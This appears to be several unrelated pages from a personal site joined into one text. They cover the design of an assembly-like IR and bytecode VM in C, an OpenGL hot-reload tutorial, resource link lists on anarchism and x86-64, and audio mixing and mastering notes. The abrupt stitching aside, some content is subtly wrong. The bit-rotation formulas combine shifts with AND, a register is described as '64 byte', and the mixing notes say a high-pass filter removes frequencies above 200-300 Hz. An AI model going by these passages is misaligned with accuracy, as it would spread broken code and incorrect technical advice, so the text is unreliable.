As mentioned, we are going to target a low-level linear IR that could be interpreted in a bytecode VM, which we will also build alongside the IR. This way, we will effectively be targeting a VM with infinite registers. To keep things simple, we will start with only integer values, leaving floating point registers and operations for later. In addition of an infinite number of integer registers (denoted as r1, r2, ... rn), we have a number of special registers:

• rsp (stack pointer register): Points to the top of the stack.
• rar (activation record register): Points to the activation record for the current procedure.

Each instruction is composed of an operator and a maximum of three operands. The operator tell us what kind of instruction it is (load, store, add, jump, etc.) whereas the operands can indicate source/destination registers, constants or labels. We will not include a large number of operations, so we can store the operator into a single byte. Constants are signed or unsigned numbers and must fit into a 64 byte register. Labels are temporary points in our program that can be used primarily for jumping, allowing us to perform IR translation in one go without having to backtrack to calculate offsets.

typedef enum OperandType {
    OP_TYPE_REG,
    OP_TYPE_CONST,
    OP_TYPE_LABEL,
} OperandType;

typedef struct Operand {
    OperandType type;
    union {
        struct {
            size_t num;
        } reg;

        struct {
            size_t num;
        } label;

        struct {
            union {
                u64 uval;
                s64 sval;
            };
        } const;
    };
} Operand;

typedef struct Instruction {
    Operator op;
    Operand dst;
    Operand src_a;
    Operand src_b;
} Instruction;

A program, is just a series of instructions sequentially executed. For debugging purposes we can still keep track of the line/column number from which the instruction originates. This debugging information is kept on a separate array so that the interpreter don’t get bogged down by cache performance.

typedef struct LineInfo {
    size_t line;
    size_t col;
} LineInfo;

typedef struct ProgramBASM {
    Instruction *inst;
    LineInfo *lines;
} ProgramBASM;

Let us now discuss the different types of operations in our ASM-like language.

Arithmetic

Arithmetic operations deal exclusively with numbers. The destination operand (dst) as well as the first source register (src_a) can only be of register type. The second source register (src_b) can be either a constant or another register. Floating point operations will behave just the same (addf, subf...) but will use floating point registers instead.

OP    DST   SRC_A SRC_B
add   r1    r2    r3    -> r1 = r3 + r2
sub   r1    r2    r3    -> r1 = r3 - r2
mul   r1    r2    r3    -> r1 = r3 * r2
div   r1    r2    r3    -> r1 = r3 / r2
mod   r1    r2    r3    -> r1 = r3 % r2

add   r1    r2    c1    -> r1 = c1 + r2
sub   r1    r2    c1    -> r1 = c1 - r2
mul   r1    r2    c1    -> r1 = c1 * r2
div   r1    r2    c1    -> r1 = c1 / r2
mod   r1    r2    c1    -> r1 = c1 % r2

Memory (Load/store)

We need a way of loading and saving data between memory and registers. This allow us to interact with local variables, the stack, files, etc. First of all, load operations (ldX) move a value from memory into a register. Since integer types can have different sizes (8, 16, 32 and 64 bits) we need the corresponding memory operations. The dst operand must be of register type and indicates the register that will store the value loaded from memory. The src_a and src_b operands can be either constants or registers, however, if src_a is a constant, src_b will be ignored. This mode is used to load a constant value into a register. When src_a is a register, the value loaded into memory corresponds to MEMORY[src_a + src_b]. In other words, src_a contains the base address from which to load the data and src_b is the offset from that address. When src_b is a constant of value 0 we consider it an immediate load.

OP    DST   SRC_A SRC_B
ld8   r1    c1          -> (u8)c1
ld8   r1    r2    c1    -> u8  *p; r1 = p[r2 + c1]
ld8   r1    r2    r3    -> u8  *p; r1 = p[r2 + r3]
ld16  r1    c1          -> (u16)c1
ld16  r1    r2    c1    -> u16 *p; r1 = p[r2 + c1]
ld16  r1    r2    r3    -> u16 *p; r1 = p[r2 + r3]
ld32  r1    c1          -> (u32)c1
ld32  r1    r2    c1    -> u32 *p; r1 = p[r2 + c1]
ld32  r1    r2    r3    -> u32 *p; r1 = p[r2 + r3]
ld64  r1    c1          -> (u64)c1
ld64  r1    r2    c1    -> u64 *p; r1 = p[r2 + c1]
ld64  r1    r2    r3    -> u64 *p; r1 = p[r2 + r3]

Similarly, for store operations (stX), the dst value will be stored in MEMORY[src_a + src_b]. Note that there is not a immediate constant store operation.

OP    DST   SRC_A SRC_B
st8   r1    r2    c1    -> u8  *p; p[r2 + c1] = r1
st8   r1    r2    r3    -> u8  *p; p[r2 + r3] = r1
st16  r1    r2    c1    -> u16 *p; p[r2 + c1] = r1
st16  r1    r2    r3    -> u16 *p; p[r2 + r3] = r1
st32  r1    r2    c1    -> u32 *p; p[r2 + c1] = r1
st32  r1    r2    r3    -> u32 *p; p[r2 + r3] = r1
st64  r1    r2    c1    -> u64 *p; p[r2 + c1] = r1
st64  r1    r2    r3    -> u64 *p; p[r2 + r3] = r1

Finally, we can copy data register to register without having to go through memory. Both src_a and dst must be registers, where src_a is the register to copy and dst is the destination of said copy. Depending on the type of copy, it is equivalent of using an and mask on src_a as shown below.

OP    DST   SRC_A SRC_B
cp8   r1    r2          -> r1 = r2 & 0xFF
cp16  r1    r2          -> r1 = r2 & 0xFFFF
cp32  r1    r2          -> r1 = r2 & 0xFFFFFFFF
cp64  r1    r2          -> r1 = r2 & 0xFFFFFFFFFFFFFFFF

Jumps and control flow

We implement logic using branching. We have access to conditional and unconditional jump operations. Jumping effectively sets the program counter (PC) to the given memory location. All jump operations take a label in the dst, which is the target location for the jump. Conditional jump operations compare src_a and src_b and will execute the jump if the condition is met.

OP    DST   SRC_A SRC_B
jmp   l1                -> jump to `l1` unconditionally
jeq   l1    r1    r2    -> jump to `l1` if r1 == r2
jneq  l1    r1    r2    -> jump to `l1` if r1 != r2
jgt   l1    r1    r2    -> jump to `l1` if r1 >  r2
jlt   l1    r1    r2    -> jump to `l1` if r1 <  r2
jge   l1    r1    r2    -> jump to `l1` if r1 >= r2
jle   l1    r1    r2    -> jump to `l1` if r1 <= r2

In order to serialize the labels in our code, we make use of a special instruction that will not be present in the compiled bytecode or final compilation form. The label instruction is effectively a NOP operation used to annotate the next non label instruction to be executed. The dst operand contains the numeric identifier for this label.

OP    DST   SRC_A SRC_B
lab   l1

Here is a rough example of an if-else statement after IR serialization:

; BDL
(if (= 2 1) 3 4)

; BASM
ld64   r1   2
ld64   r2   1
jeq    l1   r1   r2
ld64   r3   4
jmp    l2
lab    l1
ld64   r3   3
lab    l2

When compiling to bytecode, each instruction has a fixed size so we can substitute all labels for the equivalent instruction offset.

; BASM (after label to offset substitution)
ld64   r1   2
ld64   r2   1
jeq    3    r1   r2
ld64   r3   4
jmp    2
ld64   r3   3

Bitwise ops

Even though we haven’t added these to our language, it is useful to consider bitwise operations. These are things like shifting/rotating bits left/right, and bitwise and, or, not and xor operations. All of these require a register for dst and src_a. src_b can be either a constant or another register depending on the operation. Left and right shifts (Xshif) move the bit sequence left or right, inserting zeros right or left respectively. The original signedness of src_a doesn’t matter, meaning that a negative number will still pad the left side with zeroes when shifting right.

OP    DST   SRC_A SRC_B
lshif r1    r2    r3    -> r1 = r2 << r3
lshif r1    r2    c1    -> r1 = r2 << c1
rshif r1    r2    r3    -> r1 = r2 >> r3
rshif r1    r2    c1    -> r1 = r2 >> c1

Examples:

ld8   r2 0b11011101
lshif r1 r2 2 -> r1 = 0b01110100
rshif r1 r2 3 -> r1 = 0b00011011

Rotating bits in a N bit architecture (by default our VM will target N == 64) performs the same left/right bit shifting as above, but instead of inserting zeroes, the bit sequence to the right/left respectively is inserted into the hole.

OP    DST   SRC_A SRC_B
lrot  r1    r2    r3    -> r1 = (r2 << r3) & (r2 >> (N - r3))
lrot  r1    r2    c1    -> r1 = (r2 << c1) & (r2 >> (N - c1))
rrot  r1    r2    r3    -> r1 = (r2 >> r3) & (r2 << (N - r3))
rrot  r1    r2    c1    -> r1 = (r2 >> c1) & (r2 << (N - c1))

Examples (N = 8 for demonstration purposes):

ld8   r2 0b11011101
lrot  r1 r2 2 -> r1 = 0b01110111
rrot  r1 r2 3 -> r1 = 0b10111011

The logical operations are pretty self explanatory. Note that the logical not doesn’t need src_b, since it just inverts the bit sequence in src_a.

OP    DST   SRC_A SRC_B
not   r1    r2          -> r1 = ~r2
and   r1    r2    r3    -> r1 = r2 & r3
and   r1    r2    c1    -> r1 = r2 & c1
or    r1    r2    r3    -> r1 = r2 | r3
or    r1    r2    c1    -> r1 = r2 | c1
xor   r1    r2    r3    -> r1 = r2 ^ r3
xor   r1    r2    c1    -> r1 = r2 ^ c1

Examples:

ld8   r2 0b11011101
ld8   r3 0b00001011
not   r1 r2    -> r1 = 0b00100010
and   r1 r2 r3 -> r1 = 0b00001001
or    r1 r2 r3 -> r1 = 0b11011111
xor   r1 r2 r3 -> r1 = 0b11010110

Conclusion

In this article we have introduced a low-level assembly like language to be used both as an intermediate representation for optimization and code generation and as input for a virtual machine with infinite registers. We haven’t yet explored how to perform things like procedure calls or access to local or scoped variables, which require the definition of a calling convention and an explanation of activation records. This will be the topic of a future article, but for now we have a base to start compiling some basic bytecode programs and to develop a simple virtual machine to test our programs. Until next time!

The Micro Interactive C (MIC) framework can be used to bootstrap C projects that rely on user interaction, such as games, real-time applications, video players, etc. These applications usually will have a main loop that will be iterated until being closed. MIC offers hot code reloading, being able to use C as a pseudo-scripting language. For technical details and an initial rundown of its usage, please see the README. Here we are going to be looking at an example of bootstraping an OpenGL application and modifying it on the fly.

Initial setup and window initialization

We will start by obtaining the MIC repository:

git clone https://git.badd10de.dev/mic mic_opengl
cd mic_opengl

For OpenGL support and window/input handling we will be using GLEW and GLFW. Install these libraries, make sure they are available in the import path and modify the Makefile to link them to the project:

LDFLAGS := -lGL -lGLEW -lglfw

Next, we will update the AppState struct in src/app.h to include the necessary fields for this project. We don’t really need the long/short term memory so we can get rid of it for now. We also need to import the GLEW and GLFW headers.

#include <GL/glew.h>
#include <GLFW/glfw3.h>

#include "shorthand.h"
#include "platform.h"

typedef struct AppState {
    // OpenGL.
    GLFWwindow *window;
} AppState;

In the app_init function found in str/app.c, we initialize GLFW, an OpenGL context, a GLFW window and some memory for later:

static inline bool
app_init(AppState *state, PlatformAPI platform) {
    platform.log("INIT");

    // Initialize GLFW.
    if (!glfwInit()) {
        platform.log("ERROR: failed to initialize GLFW");
        return false;
    }
    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
    glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);
    glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);

    // // Initialize window.
    GLFWwindow* window = glfwCreateWindow(800, 600, "Hello MIC", NULL, NULL);
    if (window == NULL) {
        platform.log("ERROR: failed to create GLFW window");
        glfwTerminate();
        return false;
    }
    glfwMakeContextCurrent(window);

    // Initialize GLEW.
    if(glewInit() != GLEW_OK) {
        platform.log("ERROR: glew initialization");
        glfwTerminate();
        return false;
    }

    // Initialize viewport.
    glViewport(0, 0, 800, 600);

    // Initialize application state.
    state->window = window;

    return true;
}

Finally, we go to the app_step function to clear the screen color and swap the framebuffer:

static inline bool
app_step(AppState *state, PlatformAPI platform) {
    (void)platform; // Unused parameter.
    if (glfwWindowShouldClose(state->window)) {
        return false;
    }

    glClearColor(1.0f, 0.0f, 0.4f, 1.0f);
    glClear(GL_COLOR_BUFFER_BIT);

    glfwSwapBuffers(state->window);
    glfwPollEvents();

    return true;
}

If we compile and run the code now, we should be seeing a red window:

make && ./build/app

Try modifying glClearColor and recompiling while the application is running to test the interactivity.

Rendering a triangle

To render a triangle in OpenGL, we will need a set of vertices, a vertex buffer object (VBO), a vertex array object (VAO) and a shader program. With this in mind, let’s update the AppState structure to include these elements.

typedef struct AppState {
    // OpenGL.
    GLFWwindow *window;
    f32 vertices[12];
    u32 VBO;
    u32 VAO;
    u32 shader_program;
} AppState;

Let’s also create a helper function for shader program compilation. This function will take two filesystem paths for the vertex and fragment shaders, will try to read these files from disk and compile the shader program, storing its handle if successful and returning the success/failure of the operation.

bool
compile_shaders(const char *vert, const char *frag, u32 *handle,
        PlatformAPI platform) {
    int success = 0;
    char memory[MB(1)] = {0}; // Memory for reading shader files.

    // Initialize shader handles.
    u32 vert_handle = glCreateShader(GL_VERTEX_SHADER);
    u32 frag_handle = glCreateShader(GL_FRAGMENT_SHADER);

    // Vertex shader.
    {
        platform.read_file(vert, memory);
        const char * source = memory;
        glShaderSource(vert_handle, 1, &source, NULL);
        glCompileShader(vert_handle);
        glGetShaderiv(vert_handle, GL_COMPILE_STATUS, &success);
        if (!success) {
            glDeleteShader(vert_handle);
            glDeleteShader(frag_handle);
            return false;
        }
    }

    // Fragment shader.
    {
        platform.read_file(frag, memory);
        const char * source = memory;
        glShaderSource(frag_handle, 1, &source, NULL);
        glCompileShader(frag_handle);
        glGetShaderiv(frag_handle, GL_COMPILE_STATUS, &success);
        if (!success) {
            glDeleteShader(vert_handle);
            glDeleteShader(frag_handle);
            return false;
        }
    }

    // Program linkage.
    *handle = glCreateProgram();
    glAttachShader(*handle, vert_handle);
    glAttachShader(*handle, frag_handle);
    glLinkProgram(*handle);
    glGetProgramiv(*handle, GL_LINK_STATUS, &success);
    if(!success) {
        glDeleteProgram(*handle);
        glDeleteShader(vert_handle);
        glDeleteShader(frag_handle);
        return false;
    }
    glDeleteShader(vert_handle);
    glDeleteShader(frag_handle);

    return true;
}

We create a directory in our path for the following vertex and fragment shaders:

// shaders/triangle.vert
#version 330 core
layout (location = 0) in vec3 vertex;
void main() {
    gl_Position = vec4(vertex.x, vertex.y, vertex.z, 1.0);
}

// shaders/triangle.frag
#version 330 core
out vec4 frag_col;
void main() {
    frag_col = vec4(0.8f, 0.8f, 0.8f, 1.0f);
}

Next we have to update the app_init function to generate the VBO and VAO, save the vertex data to the AppState struct and compile the shader program:

    // Initialize vertex data.
    state->vertices[0] = -0.5f;
    state->vertices[1] = -0.5f;
    state->vertices[2] = 0.0f;
    state->vertices[3] = 0.5f;
    state->vertices[4] = -0.5f;
    state->vertices[5] = 0.0f;
    state->vertices[6] = 0.0f;
    state->vertices[7] = 0.5f;
    state->vertices[8] = 0.0f;

    // Initialize Vertex Buffer Object (VBO) and Vertex Array Object (VAO).
    u32 VBO;
    glGenBuffers(1, &VBO);
    u32 VAO;
    glGenVertexArrays(1, &VAO);

    // Bind the VAO before any other binding.
    glBindVertexArray(VAO);

    // Send vertex data to VBO.
    glBindBuffer(GL_ARRAY_BUFFER, VBO);
    glBufferData(GL_ARRAY_BUFFER, sizeof(state->vertices), state->vertices,
        GL_STATIC_DRAW);

    // Set vertex attribute pointers.
    glEnableVertexAttribArray(0);
    glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), 0);

    // Compile shader program.
    const char *vert = "shaders/triangle.vert";
    const char *frag = "shaders/triangle.frag";
    if (!compile_shaders(vert, frag, &state->shader_program, platform)) {
        platform.log("WARNING: failed to compile shader program");
    }

    // Initialize application state.
    state->window = window;
    state->VBO = VBO;
    state->VAO = VAO;

The only thing left to do now is to draw the mesh in the app_step function.

static inline bool
app_step(AppState *state, PlatformAPI platform) {
    (void)platform; // Unused parameter.

    glClearColor(0.8f, 0.0f, 0.4f, 1.0f);
    glClear(GL_COLOR_BUFFER_BIT);
    glUseProgram(state->shader_program);
    glBindVertexArray(state->VAO);
    glDrawArrays(GL_TRIANGLES, 0, 3);

    glfwSwapBuffers(state->window);
    glfwPollEvents();

    return true;
}

Running this app now, we should have a white triangle over a red background. The shaders are not being updated while the application is reloaded, but this is an easy fix. We just have to recompile the shader program on the app_reload function.

static inline void
app_reload(AppState *state, PlatformAPI platform) {
    platform.log("RELOAD");
    glDeleteProgram(state->shader_program);
    const char *vert = "shaders/triangle.vert";
    const char *frag = "shaders/triangle.frag";
    if (!compile_shaders(vert, frag, &state->shader_program, platform)) {
        platform.log("WARNING: failed to compile shader program");
    }
}

Lastly, we make sure that make is monitoring the files in the shader directory for changes:

SRC_DIR        := src
SHADERS_DIR    := shaders
SRC_MAIN       := $(SRC_DIR)/main.c
SRC_APP        := $(SRC_DIR)/app.c
WATCH_SRC      := $(wildcard $(SRC_DIR)/*.c)
WATCH_SRC      += $(wildcard $(SRC_DIR)/*.h)
WATCH_SRC      += $(wildcard $(SHADERS_DIR)/*.vert)
WATCH_SRC      += $(wildcard $(SHADERS_DIR)/*.frag)

Now you can preview shader changes in real time! Isn’t that neat?

Wrapping up

This is just an example of what is possible with this little framework. There are no plans to expand it significantly, as it is supposed to be used as a starting point of more complex projects. However, I wouldn’t mind to add support for other platforms, such as Windows.

If you find any errors in this article or you want to contribute, you can drop me an email. You can also submit patches to MIC via git-send-email to the same address.

The code for this article can be found here, and both this example and the MIC framework is freely available under Unlicense/MIT, choose whichever you prefer.

Resources

• The anarchist library
• Where I stand, by Mikhail Bakunin
• What would an anarchist society look like?
• An anarchist FAQ
• Revolution | A Modern Anarchism (Part 3)

x86-64

Resources

• Let’s Learn x86-64 Assembly! Part 0 - Setup and First Steps
• Let’s Learn x86-64 Assembly! Part 1 - Metaprogramming in Flat Assembler
• Let’s Learn x86-64 Assembly! Part 2 - We’re Writing a Virtual Machine
• Let’s Learn x86-64 Assembly! Part 3 - Arithmetic and Logic
• Implementing linux threads via syscalls
• How x86-64 addresses memory
• How many register in a x86-64 CPU

EQ

Equalization (EQ) can be used to modify the frequency spectrum of a sound. It is the bread and butter of the mixing and mastering process. EQ can be used subtly or creatively and in simple terms, it consists on augmenting or reducing the sound of certain frequencies. Many EQs allow to affect multiple bands, for example we may want to increase the volume around 200 Hz and reduce it around 1 kHz, or we may want to cut all sound after 10kHz.

Imagine each EQ band as a filter and generally will have available the parameters of frequency, gain and Q. There are many types of filters, and while internally may be built differently, the basic types are:

• Low pass filter: Cuts all sound after a certain frequency.
• High shelf filter: Reduces or boosts the sound after a given frequency.
• High pass filter: Cuts all sound below a certain frequency.
• Low shelf filter: Reduces or boosts the sound below a given frequency.
• Band pass filter: A combination of both a low-pass and high-pass filter, creating a frequency range around which the sound will be kept.
• Notch filter: An inverse of the band pass filter, where all sound around the central frequency will be removed.
• Bell curve filter: The selected frequency acts as the center of a Gaussian curve that will boost/attenuate around the region of influence. The Q parameter controls the bandwidth (width) of the bell curve.

In general we want to balance our frequency spectrum to our liking and sometimes this involves making space for instruments. For example, if we have a guitar and a piano playing at the same time, both will have a good amount of mid frequencies, and when they are playing together they may sound muddy. By removing some highs from the guitar and some low-mids from the piano, we can make them sit more harmoniously in the mix. Something I do quite often is to fully remove (high pass) the frequencies above 200-300 Hz for many instruments to make space for the bass and the kick drums. If we have many elements in the mix, I may even low-pass the bass instruments, which will change their character, but at the same time, if we crowd a given frequency range, that sound wouldn’t be easy to distinguish.

Another use of EQ is to do sound design, shaping samples or instruments to create more appropriate sounds for a given track. In this chart you can find a reference of a few instruments and some characteristic frequency ranges. For example, we may want to increase the attack of a snare drum (by boosting around 900 Hz) or reduce the boominess of a kick drum (reducing the gain around 60 Hz). This chart is to be used only as a guideline reference to where certain characteristics are frequently found, factors such as tuning, the notes being played, the style of music we are going for, the instruments or recording conditions, etc. will change these reference points. Use your ears to determine where something is missing or where there is too much of!

Compression

Compressors can be used to reduce the dynamic range of a signal. Commonly used to control peaks but they have many applications. When a signal goes past the threshold it will be attenuated. Usually compressors will have the following parameters:

• Threshold: The limit at which the signal intensity will be attenuated if crossed.
• Ratio: The amount of attenuation. A 3:1 ratio means that for each 3dB that goes over the threshold, only 1dB will go through.
• Attack: Determines how fast a compressor starts working.
• Release: Once the signal goes below the threshold, how fast the compressor will keep working until its released. In other words, how quickly the compressor stops working. A fast release can help create a pumping effect.
• Knee: Changes the shape of the compression curve. It can soften or make more aggresive the signal reduction.

Glue compression

We use glue compression when we want to integrate different mix elements together in a bus (or master). There are different ideas on the parameters for setting up glue compression, for example, some go for short attacks and long releases, some for fast attack and long releases. It may depend on the type of effect that we want to achieve, sometimes we can get pumping effects or artifacts when attempting to do so. In any case the goal is to aim for 1-2 dB of reduction (and makeup gain to compensate for it). If you want to time the release time perfectly, we can use the following formula, which will give us the time in milliseconds:

release = 60000 / bpm * 4 - attack

Shorter attack times will affect the transients of the signal more, which may not be desired, wherease longer attack times will preserve them.

Resources

• Mastering Audio Compression (Sage Audio)

Pads

We don’t want to overcompress, but if we want to control the dynamics a little bit we can set up a compressor with a relatively long attack and release and around a 3:1 ratio. It can be useful to avoid high discrepancies in volume, specially when automating volume fades.

Drums

• Kick/snare/clap/toms: Quick attack/release, 3-4:1 ratio and hard knee. The idea is to let the attack pass through but control the boominess and keep a more even volume.
• Hi-hats/rides/shakers: Short/medium attack, medium release, 3-4:1 ratio. We probably don’t want the pumping effect on HHs.
• Drum bus: Grouping drums together and applying compression to this bus we may be able to glue them together, creating a more homogeneous sound. Use a compressor with a very fast attack, medium slow release and low ratio (2:1), increasing the threshold until we can hear the effect. In Bitwig you can also use the transient control for this purpose, increasing the amount of gain for the non-transient part.

Parallel compression (NY compression)

The idea is to overcompress a track (low threshold, medium-fast attack and release and large ratio) and blend the overcompressed signal with the original one. If your compressor has a wet/dry mix, you can achieve this effect quite easily. Works specially well for drum loops, providing a more aggressive sound.

Mixdown tips

• Use pink noise to tune your eq in a horizontal line, this will give you a more accurate visual representation of the perceptual audio spectrum.
• Shorter sounds tend to sound higher in pitch.
• Use an instrument as your anchor to mix things around. For example start with the kick and have a hierarchy for the mixing process.
• With the basics of kick, snare and high-hats, we can cover the entire frequency spectrum, so starting with these essential elements we can balance our music around it.
• Some EQs can use an extra signal to monitor multiple inputs. This comes handy for example when we want to balance two midrange instruments and we want to know where to cut in one of them.
• Using transient control on a drum bus (kick/snare/hh) and increasing the gain of the sustain have a similar effect to using a gluing compressor.
• When looking at a full album, don’t only look at LUFS or true peak but also loudness range, otherwise some songs may feel off with regard to others.
• For drums, instead of using limiters, we can use a hard clipper to obtain a cleaner and louder sound.
• In Bitwig we can use the transient detector to put reverb/delay only in the non transient part of a sound, cleaning it up quite a bit.
• Check your mix in mono to spot frequency buildups and phase cancellations.
• Check your mix in phone earbuds, speakers, mono bluetooth boomboxes, the car, etc.

Pink noise mixing

Pink noise have the same amount of energy across all octaves. If we mix to a pink noise reference, it will make it so our music can sound louder, since limiters will not slam the lower frequencies first.

Setup your EQ/spectrum analyzer balanced to pink noise and set a reference volume to balance around. Pure pink noise mixing can sound a bit too bright so setting a slope of 4.5dB instead of 3dB (pink noise) can mixing to the horizontal line can help deal with this issue. On the master bus, you can use an EQ set up just before the limiter for this purpose, instead of track by track. You can also use something like Ozone to dynamically adjust this stuff for you. In Bitwig you can use a multiband fx-3 (MBFX3) to split you frequency ranges and use limiters and compressors in each band independently, this is useful for drums. With MBFX3 and a limiter in each band you can raise the limiter until it is just starting to hit the ceiling.

The reference is mostly arbitrary but give enough headroom. For example select -45dB, balance the kick to peak at that line, the snare a bit lower than that, the melody a bit above, etc. These are stylistic choices.

You can do this by ear by setting a pink noise generator or wave file and then, with all faders set to -inf, slowly raise each individual track until you can hear it above the noise and then decrease the volume until is barely audible. Some people mention that is better to do this in mono for more accurate results. You can do this channel by channel by muting the rest or just adding all elements as you go. Either way, this is not a silver bullet, just a tool that can be used to get a quick mixing balance, but ultimately you need to use your ears to set your levels.

Resources

• Polarity: how i mixdown tracks - quick, simple, loud and clean mastering
• Polarity: Mixing: How to Start - Bitwig Tutorial
• Polarity: why your mixdown is shit - tonal balance, brightness equals loudness
• Venus theory: How To Get Balanced Mixes Every Time | Pink Noise Mixing

Scopes and mastering

Before a final release, you likely want to master your music so that it sounds as best as it can on as many listening environments and distribution platforms as possible.

The first thing to consider is the frequency balance, which is technically part of the mixing process, but the two are intertwined. If you want your music to sound loud, you want a balanced frequency spectrum as previously described. Typically I would have a final EQ or multiband compressor on my mastering chain to correct for overall signal imbalances. In Bitwig/Ableton I use a spectrum analyzer for this purpose, with a 4.5dB tilt in slow and/or freeze mode. This lets me know how the spectra evolves around time and which moments emphasize certain frequencies.

Having a balanced spectrum makes it so that the second step, loudness, is more easily achievable. A compressor and/or limiter are used to raise the level of the input signal. If you have an imbalanced signal, the limiter will be hit the ceiling earlier in some frequencies, which will make it so either we have distortion or we can’t push the overall signal as loud as we would like. I may use a combination of a compressor plus a limiter in some cases to lightly reduce some peaks before going to the limiter device. The loudness wars are mostly over, but it is worth trying to make your music as loud as possible according to the distributor’s specifications. For streaming services, I will tend to master to Spotify’s specs, which are shared by other services (-14LUFS with a max true peak of -1dB). I use the freely available Youlean loudness meter or dpMeter5 to monitor these metrics across the entire song and adjust my limiter as needed to achieve these specs.

I also like to monitor the overall stereo spectrum using the free MStereoScope plugin. Sometimes it’s worth considering to widen or pan certain tracks and individual channels. I also monitor the final mix in mono to ensure is sounds OK.

It’s a good idea once we have a final version to print the different stems or parts of a song if desired (vocal vs instrumental). Often we want to revisit or remix a song and can’t load the original project due to unavailable plugins, samples or something else entirely. Having the stems available makes this much easier.

As a final note, don’t forget to set up the metadata in all the tracks, it will save a lot of time when sending them to distribution.

Transitions

Here are some ideas that can be used to create smooth transitions between sections of our songs or when we want to introduce a new instrument to the mix. Often can be combined so try a few and see what feels right!

• Crash & snares hits after the transition point. Sometimes I will layer multiple samples to create the appropriate intensity for the crash.
• Transient elements in the next section can be duplicated, have reverb applied and rendered. Reversing this element and putting it before the transition and sometimes cutting up the transient point of this clip can help smooth out transitions. Works very well with crash, snares, kicks, pianos, even vocals. You can also apply more reverb or delay to these tracks to see if it fits better.
• Silence certain sounds, keeping only some of the existing elements.
• Drum fills or other glitchy or percussive elements. Works nicely with tom or snare fills and rolls (or both!).
• Risers. Can be created in a multitude of ways, and some of these can be combined together in creative ways.
  • White noise with a low pass filter that progressively opens up.
  • An LFO for a sound is modulated increasing/decreasing its speed. This LFO can control volume, pitch or other parameters to create unique sounds.
  • Use pitch automation on a sound.
  • Swipe an eq with a high boost notch and a small Q to create audible effects.
• FX automations:
  • Increasing the reverb of an element.
  • Opening/closing up the low/high pass filter of an element.

Ear candy

To keep the listeners engaged throughout the song, we can sprinkle noises, instrument hits, effects, glitches, textures and many other details. These need to be subtle and secondary to the main arrangement, but they can really help bringing a song together. Sometimes we can repurpose existing material (such as vocals) processed for different sounds. Drum or bass fills could also be considered part of ear candy, specially when not used in transitions.

• Synthwave Sessions: More Exciting Tracks
• This always makes a HUGE improvement on any song

Voice

Compression

Voice love compression, but specially if we are doubling vocals, we want to compress those even more to reduce the dynamic range and make mixing easier. Double vocals in general tolerate much better overdoing it on effects, like reverb and delays.

Reverb/Delay + Compressor

Reverb and delay and vocals are really important for bringing a sense of space and otherworldliness but this can often overwhelm the sound and remove a lot of clarity from the lead vocals. A very useful trick is to put the reverb and delay as send buses and add a compressor to each of them, which will be used to sidechain the FX with the lead vocal signal. This allows the reverb/delay to be heard when the voice is not playing, but they will duck when it is giving us a much more clear signal. We can set the compressors with a fast attack, slow-medium release, 6-7:1 ratio and adjust the threshold until we achieve around 5-8dB of gain reduction. Make sure to remove makeup gain for this to work.

• Vocal trick they all use

Other

• Top 3 Tricks for SUPER SMOOTH Vocal Delays [ANY plugin]

Genres

Sound structure

In all music genres there is some amount of structure to a song. Even the lack of structure (for example an ambient track or a generative patch) is itself structured as a single part song. There are classical and common musical forms (sonata, rondo, AABB, AABA, ABA, 12-bar blues, etc.) but in popular music different sections are given other names and arranged according to musical genre. Note that even within each genre, there is a wide amount of variation, ultimately structure is a creative decision, but it is useful to know common conventions.

In addition to the following section types, it is also worth considering the overall energy of the track. Even with common progressions (verse-chorus-verse) the emphasis of energy can be set at different points (last chorus is the most energetic, similar energy all around except in some spots, etc.). Ways of changing a track’s energy is via adding/removing instruments, parts or textures, increasing melodic/harmonic rhythm, variations in drum patterns, melodic lines reaching higher pitches.

• Glossary:
  • Intro (I), introduces the song by building up the main melody, harmony and/or rhytmic structure often unique but also can be mirrored in the outro. Sometimes the introduction is (re)used as a “turnaround” to return to the verse or A section of a song. Commonly instruments are “faded in” with volume swells, filters or other transitions.
  • Verse/breakdown (V), can have a main melodic theme, but also used to develop the songs harmony and establish the key center. When there are lyrics, each verse can have different sets of lyrics and primarily is used to support the chorus.
  • Pre-chorus/buildup (PC), used to build energy and connecting the verse with the chorus. Sometimes adds harmonic variation and can be used to modulate from a key (in the verse) to another (chorus).
  • Chorus/drop (C), generally contains the main idea or hook of the song. Choruses tend to be all very similar in a song, with little variation.
  • Post-chorus/pre-verse (PV), a section that comes after the chorus and typically before the verse but is not a part of neither. Sometimes is an extension of the chorus (with some variations) or a second chorus with a distinct flavour.
  • Bridge/Middle 8 (B), a variation of the chorus/verse often used to contrast the previous pattern.
  • Outro/coda (O), the conclusion of a song. It sometimes repeats the introduction but mirroring a fade out instead of the fade in. Ocasionally ideas from the song are re-mixed in the outro (for example chorus rhythm with verse harmony) and other ending devices, such as tempo slowdown or audio fx (e.g. tape modulation) can be added to the outro.

Synthwave

Characterized for a modern interpretation of 80s sounds, with heavy emphasis in simplicity and synth sounds. Some staples of the genre are:

• Gated reverb snares: Snare with reverb applied (often quite heavily) that is shortened in the DAW or via some volume gating mechanism. Snares can be layered with a bit of white noise for flavour.
• Tom/snare fills: Used for transitions with different pitch variations, often with some panning to add stereo interest and reverb. Can be paired with reverse crash sounds to smooth out the transitions even more.
• Drums are generally unsurprising and follow a 4-on-the-floor disco pattern.
• Harmonies: In general anything goes, but tend to use simple triads, 7th chords and smooth voice leading, sometimes with chord extensions. In terms of chord progressions, you can use pop music cliches or a I-VIm-V-IV progression, but anything can work as long as its not overly complex.
• Common use of arpeggios and obstinato patterns.
• Melodies are often simple, diatonic or minor pentatonic and emphasize the chord tones of the underlining harmony.
• Bass sounds tends to have a good amount of variations, but commonly it will consist on a plucky (No attack, low decay), round (sine and/or saw based) playing repeating 16th note figures, sometimes generated with an arpeggiator. A chorus effect can be used on bass, creating a slight widening effect and adding some flavour.
• Vocals: 80s vocals tend to have some chorus added to them. Sometimes paired with a short slapback delay (no feedback, short time) and reverb.
• Use of gates to clean up drum loops. Drum loops extracted from break or drum loop compilations or sampled from a recording can sound noisy. We can clean them up with the use of gates, which will add a peculiar sound to the drum loop whilst reducing the amount of noise.
• Structure: There is some variation in structure within the genre, but they to follow pop, edm or nu-disco patterns. In general try add some form of interest or variation every 8 bars to keep people interested:
  • Pop: I V PC C V PC C B C (O): Energy peaks on each chorus, with the last one having the largest amount. Energy dips on the 2nd verse and bridge.
